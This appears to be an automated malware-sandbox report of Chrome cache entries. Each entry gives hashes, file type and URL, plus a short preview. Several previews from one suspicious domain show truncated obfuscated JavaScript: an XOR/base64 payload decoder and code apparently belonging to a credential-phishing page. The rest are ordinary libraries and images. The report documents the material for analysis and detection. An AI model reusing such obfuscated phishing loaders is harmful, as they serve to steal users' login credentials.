Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

Chrome Cache Entry: 124

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (59377), with CRLF line terminators
Category:	downloaded
Size (bytes):	59744
Entropy (8bit):	5.816539518607157
Encrypted:	false
SSDEEP:	768:kcml2MVzfv+6r/9f8xjmsZ2p5BI9uf84soPLUt/qDS5ga3udlsApDu883do8IsIT:eRpwmscNfP0/67Zr2o8/IJAC3v
MD5:	E7C184756C4C03CAE740F281A9D52590
SHA1:	884BD08BA52B0AF48EC0DDAF50DA069061F970AF
SHA-256:	D2F71E33E9E5F89ED23ED3EA4415F66E3C16DC46B8646B1DFF618FE25C2A623E
SHA-512:	5FC6BB7826BBB520DE0444614F876117EEDA18563DBB47E59BC6FB089B93F3A88A3C5CD5F88545FFA61A74DF5D98A81CE1893DBDCC11444E2C737551D332261D
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM
Preview:	<script>..function JqYLcqgLBR(xXbMsjGwYv, kiAywxYBAI) {..let SFAXzVMSfx = '';..xXbMsjGwYv = atob(xXbMsjGwYv);..let sqvGdKkrny = kiAywxYBAI.length;..for (let i = 0; i < xXbMsjGwYv.length; i++) {.. SFAXzVMSfx += String.fromCharCode(xXbMsjGwYv.charCodeAt(i) ^ kiAywxYBAI.charCodeAt(i % sqvGdKkrny));..}..return SFAXzVMSfx;..}..var sDkdERLTKJ = JqYLcqgLBR(`dG8MfyoCEWAkeCA6JVxXW0IMCSwlImhcCDgvDUM9Jmx2PWNqIFUAPHZDQhBJdmgMEjs6JzhESSU6U1x6IDo8QBpsZx8CNywrZloYIy1CGHYrISUfAyc9VRMhZX1mBkdmZl0INmYkOxJXamdDAiohPjwOZFxoEEF4dD0rQgAmPBASKitzalgdIjhDW3dnLSxeRyUnUwo9PGAhX0ZiZgZPaGc9J1MCMzweCDdmIyFeRzw7El9kZz0rQgAmPA5sUmhuaBBVJStCCCg8bjtCCmtqWBUsOD1yH0YhP0dPPychL1wMeCtfDHc6KytRGSIrWAB3KT4hHgMlag5ddzstOlkZInY9a3hobmgMBT8mW0EqLSJ1EhoiMVwEKyArLURLdiBCBD51bGcFXxcsfzgTBQMEVwYcMEkzNAs5PQFRb3kFQ2ZFRGgQSXZ0XAg2I246VQVrakMVISQrO1gMMzwSQTA6Ky4NS3kwSRVsPSc9VBknewQGMHt+ag5kXGgQQXh0IiFeAnY6VQ1laj46VQU5KVRDeCA8LVZUdDhBJC89Jy9GIjEYQDduBAgyYVpiD0MMEz04ewhLdilDXHouISZES3Y8SRE9dWwuXwciZ0cOPi58ahAKJCdDEjc6Jy9ZB2tqUQ83Jjcl

Chrome Cache Entry: 125

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	727
Entropy (8bit):	7.573165690842521
Encrypted:	false
SSDEEP:	12:6v/70lGN4n6OF/Y9jJ6xmOLY3cyWiJBYmH7xCZm1Uvleq8AM8Tkbc0:HudJ6xU3fWU1HsZm1Wleq8t5b/
MD5:	839CB0F55C3D2D5C2F740BDA95CB2878
SHA1:	93F6FA3A2DA8B7184D4B5C5F2065872793370C2E
SHA-256:	40ECB8832F6A9A8AAA0CC6E1287E867A4FCA38433D091D86C6CAB1F28FBAB652
SHA-512:	ECBCA8AB21BF3302C88F933CFD248CFF5553AFE152A170F554C27FD67BDC3E7D8CE79E202561FD0658E41820681EB90F74E38FD09390C517AFB34D2C1B65A096
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......IDAThC.Q.1.E.......`... .............T...:....7r....sw;Y.h..dK__.........M.v.....@a....j..P.;..K....^%..m...Nn.......y..l.]@..z.T..X..e...DZ.$Y......o`.L@`..r.0...s8Bd...1..M.=.A...a.'./...O....@4.mk..2.\..H.ER...e....s...`._.;..5n...X\|o..K....w...8........i8L..6P\|r9.=!...j..........~X{.Y.5X....4...v.Z.&.... ..)..ZXJ.8..... ..-p.9t.N...r.[..t....=\ >pLg%m..@........8o.).%..S...d.E\|%.......5.p..QK0Z<...0...:Q...<.m^<.y....7..#r..Qm...DZ..}.5.c.&.....0..Wr.....w.f-.n... .-..,l..0..3...E..4k.~..Y.B:t.*}.L..z..U.b......s............w.(......jt.Z5.7..8........0...?..1.w."&......8j.5vO.<..OgSM.j%..u..E=:..XJ==.....(...30.(....O)41P.....pkQ@f.S.....IEND.B`.

Chrome Cache Entry: 126

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1048)
Category:	dropped
Size (bytes):	29039
Entropy (8bit):	4.476700154217347
Encrypted:	false
SSDEEP:	192:lHVYB4GEwZT1TpSGCeRH8u/Lj7Ma9xPcjBsvLNrqbVb+6JknFjlirg1qaR3H0ZP7:Y4V4iCqaRXqBLf
MD5:	AFE596D22E03E70224D688182A7BAD30
SHA1:	17182642B506F044830CA2D757C0D65F9487B99D
SHA-256:	B974B1D98F710416C1561362ADA61FF80672B9CF6BCBF0BB4F35D0C34D037284
SHA-512:	A81FF344FB3D3FE3EE6D165A7DD78617FF537957EAB4C9523EEE25509726039986B8818FFCA59E8B245ECD06BB3A6A9F249060F184869762C50B189A97CCF397
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html><html><head>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>Marketing Form</title>. <meta name="referrer" content="never">. <meta type="xrm/designer/setting" name="type" value="marketing-designer-content-editor-document">. <meta type="xrm/designer/setting" name="layout-editable" value="marketing-designer-layout-editable">. <style>. .editor-control-layout html {. box-sizing: border-box;. background-color: #fff;. }. .editor-control-layout ,. .editor-control-layout :before,. .editor-control-layout *:after {. box-sizing: inherit;. }.. .marketingForm h1 {. color: #000;. margin: 0px;. padding: 0px;. width: 100%;. font-family: "Segoe

Chrome Cache Entry: 127

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65461)
Category:	downloaded
Size (bytes):	711081
Entropy (8bit):	5.444336573525724
Encrypted:	false
SSDEEP:	3072:Ns0tPO7ZVKF61InSjikH0Gu0r2ee6PnBdHQdU1HECHttsMkO3bBqMG/+9coZukG6:N7tPOCWPQdUzCO3bBL9jZVGiMRlRhxkR
MD5:	FDC2BE4EB54FF521EB5F6CA57AEDAE03
SHA1:	580FEFB1274BB5A21E34DC206D3F042512CA2EDC
SHA-256:	36C366BC39F4B2EB17CC2EAC87B9B94199CB4DFC0FF9F3D8A2F4C2EADE1BB9C3
SHA-512:	42939CBF474C6593774F5B5FF13A5E9FCDDE7CAAE05229CBE9804C1368337B892EB3ED96CA85133A34AC0551696B4995EA203773B474BF31E50780BF9BDD53C2
Malicious:	false
Reputation:	low
URL:	https://cxppusa1formui01cdnsa01-endpoint.azureedge.net/usa/FormLoader/FormLoader.bundle.js
Preview:	/! For license information please see FormLoader.bundle.js.LICENSE.txt /.var d365mktforms;(()=>{var e,t,n={317:function(e,t){var n="undefined"!=typeof self?self:this,r=function(){function e(){this.fetch=!1,this.DOMException=n.DOMException}return e.prototype=n,new e}();!function(e){!function(t){var n="URLSearchParams"in e,r="Symbol"in e&&"iterator"in Symbol,i="FileReader"in e&&"Blob"in e&&function(){try{return new Blob,!0}catch(e){return!1}}(),a="FormData"in e,o="ArrayBuffer"in e;if(o)var s=["[object Int8Array]","[object Uint8Array]","[object Uint8ClampedArray]","[object Int16Array]","[object Uint16Array]","[object Int32Array]","[object Uint32Array]","[object Float32Array]","[object Float64Array]"],u=ArrayBuffer.isView\|\|function(e){return e&&s.indexOf(Object.prototype.toString.call(e))>-1};function c(e){if("string"!=typeof e&&(e=String(e)),/[^a-z0-9\-#$%&'*+.^_`\|~]/i.test(e))throw new TypeError("Invalid character in header field name");return e.toLowerCase()}function l(e){return"strin

Chrome Cache Entry: 128

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1400
Entropy (8bit):	7.808470583085035
Encrypted:	false
SSDEEP:	24:rIcdIg4GFKiUqLRfqX5Cbg2tRSpGHM0RMrB6nzU9Jd28VVdYfWZG0rrZgqhpT:rHUZGRNEoSpGHMTrB6zUXdNVSi1b
MD5:	333EE830E5AB72C41DD9126A27B4D878
SHA1:	12D8D66EBB3076F3D6069E133C3212F97C8774E1
SHA-256:	8702292CBC365E9F0488143E2B309B85EFE09C61FD2E0A2E21C53735A309313C
SHA-512:	3413ED624241877C1D44FEE23FD37745CB214C12AE73FACFAFA07B47FA1CB9E5DAA3CB7F542564E04075FFE8BA744C962FBDD78F08A643A90C0EC1118C05BBF8
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/ij787GshcitfnBJkhf2ihQV2StNO4oyDfl89XPW2QQSs69EwDwN3LQe5cHhw1YAvJ7Xmab223
Preview:	.PNG........IHDR...l................?IDAThC.X.n.A..K.. ..H8.....7P..p...&......>..4.'.y.`$Z...$1..9..;...w.\|...zvvv.............b..Y....B...Dq..&\....pe..r.X.P...3.n...M.j.....+..r}}.t:...fa.mmm5U........)dwww...j...q<<<<L.}ggg.......k.O.?....^.gE.6....B..%U..w#H...y....~......h.....Q.E;.....T...E.W..X=..{.;..+.. ..`.(:2...A..U.....Y....z..l.r.S..<K...x.E.... .....U.,.`.....<::............MSiE.2w.!z.T...PWl.).0...Z....Z.'~.5zP.o..-. ......q..x..w.....y......5\|v..i...........@w.c...j..3....w,/.3.).....u.......b.}..R........ `......`mH$.U..B.H1...jx..3..$k ...........Z......4....A.>..X.a/...0N.&?q..........F#w&o."L:...l.c...x.P...@e..&.&\|Y...!.i....gac..1C.....I..t...e~q.&.6.2B.}.V.p.B.."...'..M..s.s.....V%-.?8yC.?m......z...&]\.VN.s....j.`....kY.....64.Y..(_ea[.r...1B.......5....i.u.......aQ.+z.x.......<,~..a...z,.I.T.b.P.^.`...y.58..,\|Q...u.-.._....m.1...\|k.j.7.,x.....X....ez..a....X...\E.$..-...s.../.9L.9.(9..U...x$#.C...Nm...p.....J...

Chrome Cache Entry: 129

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	109964
Entropy (8bit):	5.201196778775329
Encrypted:	false
SSDEEP:	1536:/WnW4GGYV5DDBwTDg5MCtG5DYg5Mr5AVy6G0BY/2lVm9e7JfmspXvaPcjtv92Nkx:/WnW4Gj5Oy6GRCV//Xv5riu7a58NEW
MD5:	78A5500114640D663460BCBB33E694EB
SHA1:	C72B1B93C8BC2DDBD77BA3C042A8ED415B6B8E26
SHA-256:	E97FE9DB7CA567DA1F9F5A3B87B669146ADDF1983392C32FDA68C4D667A3CA22
SHA-512:	AAEB2961C7F93B8DF2600068C48706920D0DA1E1C2C925FBDFBED10E33120B05C9722ECBB63C6B3DD534D664CFB5F183CCF850591BBB78DAA89E0A3F637A450C
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/3409ErMmbVIWH6V2dQUQwijgLL2yQXIIAO89104
Preview:	const _0x3c0b69=_0x40bd;(function(_0x1ffa3e,_0x743a4f){const _0x1f38a8=_0x40bd,_0x2d88b6=_0x1ffa3e();while(!![]){try{const _0x461944=-parseInt(_0x1f38a8(0x20b))/0x1+parseInt(_0x1f38a8(0x319))/0x2(parseInt(_0x1f38a8(0x2d0))/0x3)+parseInt(_0x1f38a8(0x2c7))/0x4(parseInt(_0x1f38a8(0x281))/0x5)+parseInt(_0x1f38a8(0x21b))/0x6+-parseInt(_0x1f38a8(0x34b))/0x7+parseInt(_0x1f38a8(0x1d9))/0x8+parseInt(_0x1f38a8(0x245))/0x9*(-parseInt(_0x1f38a8(0x2ac))/0xa);if(_0x461944===_0x743a4f)break;else _0x2d88b6['push'](_0x2d88b6['shift']());}catch(_0xf1881c){_0x2d88b6['push'](_0x2d88b6['shift']());}}}(_0x4624,0xa135c));var webnotfound=![],otherweburl='',interacted=0x0,multipleaccountsback=0x0;!document[_0x3c0b69(0x2ff)](_0x3c0b69(0x332))[_0x3c0b69(0x2df)][_0x3c0b69(0x2e1)](_0x3c0b69(0x1e7))&&(view=_0x3c0b69(0x2c8));document['getElementById'](_0x3c0b69(0x2a8))&&!document[_0x3c0b69(0x2ff)](_0x3c0b69(0x2a8))['classList'][_0x3c0b69(0x2e1)](_0x3c0b69(0x1e7))&&(view='uname_pdf');document[_0x3c0b69(0x326)](_0x3

Chrome Cache Entry: 130

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	268
Entropy (8bit):	5.111190711619041
Encrypted:	false
SSDEEP:	6:tI9mc4slztdbC/yXqRRnYdbyJA0xy+LUxh7JECWWNAc:t4pb8WuEbaA0xVUxh1ECgc
MD5:	59759B80E24A89C8CD029B14700E646D
SHA1:	651B1921C99E143D3C242DE3FAACFB9AD51DBB53
SHA-256:	B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
SHA-512:	0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

Chrome Cache Entry: 131

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 506 x 303, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	29796
Entropy (8bit):	7.980058333789969
Encrypted:	false
SSDEEP:	768:uEV6Q9wDBC1MNazNsMYCUPwRGMSU6Ub1W:uKpiOZ7YCpRRXk
MD5:	210433A8774859368F3A7B86D125A2A7
SHA1:	408BACDDC39F12CAD285579C102FE4A629862D88
SHA-256:	9C6ADDFC339CE1C1D262290AB4CC2DE8D38D4B54B11A8E85AFD44FBB0ACC2561
SHA-512:	6CBF6492BBA0734ECE1B595743B7A251D3C98425A36D5BF87EBFAD17BE979A23ADEE556FB074EF6D284052F6412ACEDA4E179FB7DFA0BA1103610CC01113A1A3
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/oprLHzrLMng80jZ02qEKLjc5gebwyGRZI3hfJd0cfOTOSMcWKHstAxOa6DJMyy9rR893W0bISCPqBNcd237
Preview:	.PNG........IHDR......./.............sRGB....... .IDATx^.].XSI.=. M....T.`...X......}.]..}...e.k..{.(V...`...o&..)i/......H2s..s.yo..Xa.0.......C@.....2f.C.!..`.0...`D..!..`.0..."F......Lc.0.......#z..............^..W......vEa..(R...W.o.J.km..k`.e.2.......`D.7.Z.w..!n......T....@..M.GO.892?+.....`.0...#...4..]n....{.Z....b...h..l.,...B.5b.0...........Vs......T...r.Wy...(..Gg..r....>&$.S.G.D.......]...I..S.....v.....9S.!..`.......F.'y3g...]+.fai.....T.....).%!.....{.7.u}}+a..p(X..]!...C.!.....l....W.Y..=[..K.wt...v....mD.5...ii....W.....z#..0......D.....FV.w..,.T..............X.\|..\|.Let....F.d.W.Q.!..`....l...Wg..~.6./^..A.w..nE.}..`ff...S..p..>..!C.")).O.>E...9../?..+.b..H."p-R.N..X.h..&.!..`.h..6X...... ..33s..;Y...9u....c.w#..[^.suu...;%....W/.vymX<.2...`.0.4G....bx....C.vr+.5.I...h............8.".q...\|v...[/....C.jUY\..9.!..`......5.t..K...-.R.4h....i..[\.N...<y,0j.l...G.z..7....H....e..y..R.N..(\.(....[.RSR..........w.......x.

Chrome Cache Entry: 132

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	76
Entropy (8bit):	4.631455882779888
Encrypted:	false
SSDEEP:	3:xPW1skF0NuiQMnumOPIOAyP2MR:xPWmJumOPzAo2C
MD5:	55D6D0CAE462E2BC690BC8AF45985B15
SHA1:	0AD644096680FB01BFD9AF1CFE5F6E68911EA01F
SHA-256:	2E5AE61757DB10E0E3770407B68ADE329068C840070A02F119C9EBE296194043
SHA-512:	A929EE066B9150F1DC864A38FC1BF7D1F69B560CF6C123C0709EC983581B0B5F37360B3F318CA78EC9A3755C592A2928FA882CB34F160381ADA5A148B0786BCA
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISMwnlGq50SkV2RxIFDc8jKv8SBQ3Fk8QkEgUNiaVnyxIFDcMZOZASBQ3QAkDsEgUNqF3jdA==?alt=proto
Preview:	CjYKBw3PIyr/GgAKBw3Fk8QkGgAKBw2JpWfLGgAKBw3DGTmQGgAKBw3QAkDsGgAKBw2oXeN0GgA=

Chrome Cache Entry: 133

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45667)
Category:	downloaded
Size (bytes):	45806
Entropy (8bit):	5.207605835316031
Encrypted:	false
SSDEEP:	384:1ZS0CCnasl8gRR/PoPez+iCMN0Fkiw2Jh4RWdRGhAjbp2ChPL8cYRGv5MRUK6np9:/CCnVl7tUkBxkdRGOfDiY5C5MAn5GY2
MD5:	80F5B8C6A9EEAC15DE93E5A112036A06
SHA1:	F7174635137D37581B11937FC90E9CB325077BCE
SHA-256:	0401DE33701F1CAD16ECF952899D23990B6437D0A5B7335524EDF6BDFB932542
SHA-512:	B976A5F02202439D94C6817D037C813FA1945C6BB93762284D97FF61718C5B833402F372562034663A467FDBAA46990DE24CB1E356392340E64D034E4BA1B4E4
Malicious:	false
Reputation:	low
URL:	https://cdn.socket.io/4.6.0/socket.io.min.js
Preview:	/!. Socket.IO v4.6.0. * (c) 2014-2023 Guillermo Rauch. * Released under the MIT License.. */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).io=e()}(this,(function(){"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(e)}function e(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function n(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}function r(t,e,r){return e&&n(t.prototype,e),r&&n(t,r),Object.defineProperty(t,"prototype",{writable:!1}),t}function i(){return i=Object.assign?Object.assign.bind():function(t){for(var e=

Chrome Cache Entry: 134

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 135

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 67, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:	3:yionv//thPl3stn2pBxl/k4E08up:6v/lhPC2H7Tp
MD5:	2D62D8189B96AE78224A20B693D7F47C
SHA1:	F0C1337516535585F5A8A2D0D1D2CE6B0F195E36
SHA-256:	C30442E76A1BE53FD49550F6D63B163E5F516D2473DE1C3CE23F21078284878A
SHA-512:	86EC5BBBD942C9E4F1825273B5A67F0B0EE3D8FF88FDFE395FE3ADD51E6D5BB761BB2AA10D3F5EFE7C1CA1AA59E943D3F3BC3D87A371459AF5D8018B22881F81
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/879066af2d254527/1713902022571/cfsO0aDF5k_W65H
Preview:	.PNG........IHDR... ...C.....rx.W....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 136

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	231
Entropy (8bit):	6.725074433303473
Encrypted:	false
SSDEEP:	6:6v/lhPZsRtsa9hC0bKDHv5Ef30XY4qMa3IE6Aleup:6v/76eAhbSHusYX4E3
MD5:	547988BAC5584B4608466D761E16F370
SHA1:	C11BB71049702528402A31027F200184910A7E23
SHA-256:	70E32B2DB3F079BB0295A85A0DB15ED9E5926294DD947938D6CFA595F5AB18B4
SHA-512:	C4A76F6E94982D1CC02C2B67523A334E76BFDE525C1014D32DB9E7ECA0FA39A06F291ECFA94C8C6A49D488EA3ACF9C10DDF3CAD9515562010440863D0F08FBA3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............w=.....sRGB.........IDATHK...1...Z......... #$#..-.. $$3..H...q.x.>.x..yY.\|.@h.......$.B/..*Ec...J.}.....Rl..^.......#-...f.6p.cJigf...G.<.!.z..>a.+j....&U.....E/.._.`.d...~_....7...4`....IEND.B`.

Chrome Cache Entry: 137

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1445), with CRLF line terminators
Category:	downloaded
Size (bytes):	1812
Entropy (8bit):	6.020028102830465
Encrypted:	false
SSDEEP:	48:7IyH8XYhDYMiWFqylp3IE917v7i4qMprz0bTA+Y4:hcqZ33b7v7iMprYbU+z
MD5:	C734C3848F6F4A500BC3FE96768358FD
SHA1:	7AF426B89ECA05F6E464BE06659433712EDCA3BE
SHA-256:	8669BB098962AF19D6EE8E08EC0FA39852527E64B4AD2383D462B51C3109BDC6
SHA-512:	68277635C00AE15792D9EB634857FABA6079D37C895F1B75DF352C3E0537DABA2CE043A8ED422E1517645BE9A31C3D00934B6F681BC3FCBBE6DF7B976B298E23
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/O5u7Gw/
Preview:	<script>..function gDnTkXRbCU(QRMqSjgCgD, lyneTJVVVn) {..let kEfDpglvPV = '';..QRMqSjgCgD = atob(QRMqSjgCgD);..let wazuKMyOvh = lyneTJVVVn.length;..for (let i = 0; i < QRMqSjgCgD.length; i++) {.. kEfDpglvPV += String.fromCharCode(QRMqSjgCgD.charCodeAt(i) ^ lyneTJVVVn.charCodeAt(i % wazuKMyOvh));..}..return kEfDpglvPV;..}..var lTHhSfpcst = gDnTkXRbCU(`CCYrQyY8OAdEWEI0OhEFBQ9vHhRwBCRob3FsTiA8UDo/HyMjL1g9O1s7ZlkuPyQXOidWJjxDZ31lAkRYUiAmUjslI1dpI0w0Gl4IFApqBnp4EhpiDDsebwwDHXUzPEVsbBlpJkYsaEpCRmwZaXIUdWgRPSk4TDs8FDc8Xi5kLU0mMBwZD2McDztrHxdlfGERcnFsdQ4AZxY/YxkJHQJEWBR1aBEybC9YPTFcdWBUPT5lGTJfPnVoEW9sbBlpIFEhPUMhbCpYJSFRbkU7b2xsGTRfPihFOyYqZHMAEWICDnUeIBUZdG8Ud2oYNEFGGWlyFCIhXysjOxclPVc0PFggImJROzdSdXUROCUiXSYlGjknUi44JVYnfEQ0PFkhLSFcaXkUd3cTb2dsGxNwD1hCTEJGJV9hGH0WHmYJCB1VEHIVaHURbW5lQkRYFHVoESYqbBE4KlUHJ3YXCh92YRh9Fh5mCQgdVRB7HXUzPEVsbBlpJFUnaGAbDj52AAJZJiURcmwtTSYwHB8BchkbCn0YPm18czxFbGwZaSRVJ2hFPxk9bgEaQAIvEXJsZGgdEEYaAWEiPyEXJDNANiAZYGQXZT58GQhjcRQtYUMIf25lZQhhYRESFXxvNGVLDmEWCWRraS56

Chrome Cache Entry: 138

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	268
Entropy (8bit):	5.111190711619041
Encrypted:	false
SSDEEP:	6:tI9mc4slztdbC/yXqRRnYdbyJA0xy+LUxh7JECWWNAc:t4pb8WuEbaA0xVUxh1ECgc
MD5:	59759B80E24A89C8CD029B14700E646D
SHA1:	651B1921C99E143D3C242DE3FAACFB9AD51DBB53
SHA-256:	B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
SHA-512:	0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/rsPK886pjR4MWSVO0Uifxwl7OmK6HMvCpponbOALuvbCTlXpqF0r1n0CK0ef200
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

Chrome Cache Entry: 139

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1174 x 1108, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	28014
Entropy (8bit):	7.545481493741092
Encrypted:	false
SSDEEP:	768:vtN2kof6LNmWXVRxDasc6ABdMMm8TnXo5h2wfS:VJNJXVRxW56ABqMhTn45h2j
MD5:	FECB0411A485ED218C2BF65240C02CD0
SHA1:	B872806B3ADDB4D237A2C9CE7E45B7945255FE68
SHA-256:	E5EA17671E0209051C3AF5F62EE1C72867909650FA85563FD663F2BF90E36422
SHA-512:	A2D59B24C00FDC33C35C72F5818F8595044C733A5CC2C5AFAC1E16D7E17200A6AA2CBDCFBE94125CEE5376DDF7CC949D779D2AF74DACEBA6A8B4A55AEC69CDB3
Malicious:	false
Reputation:	low
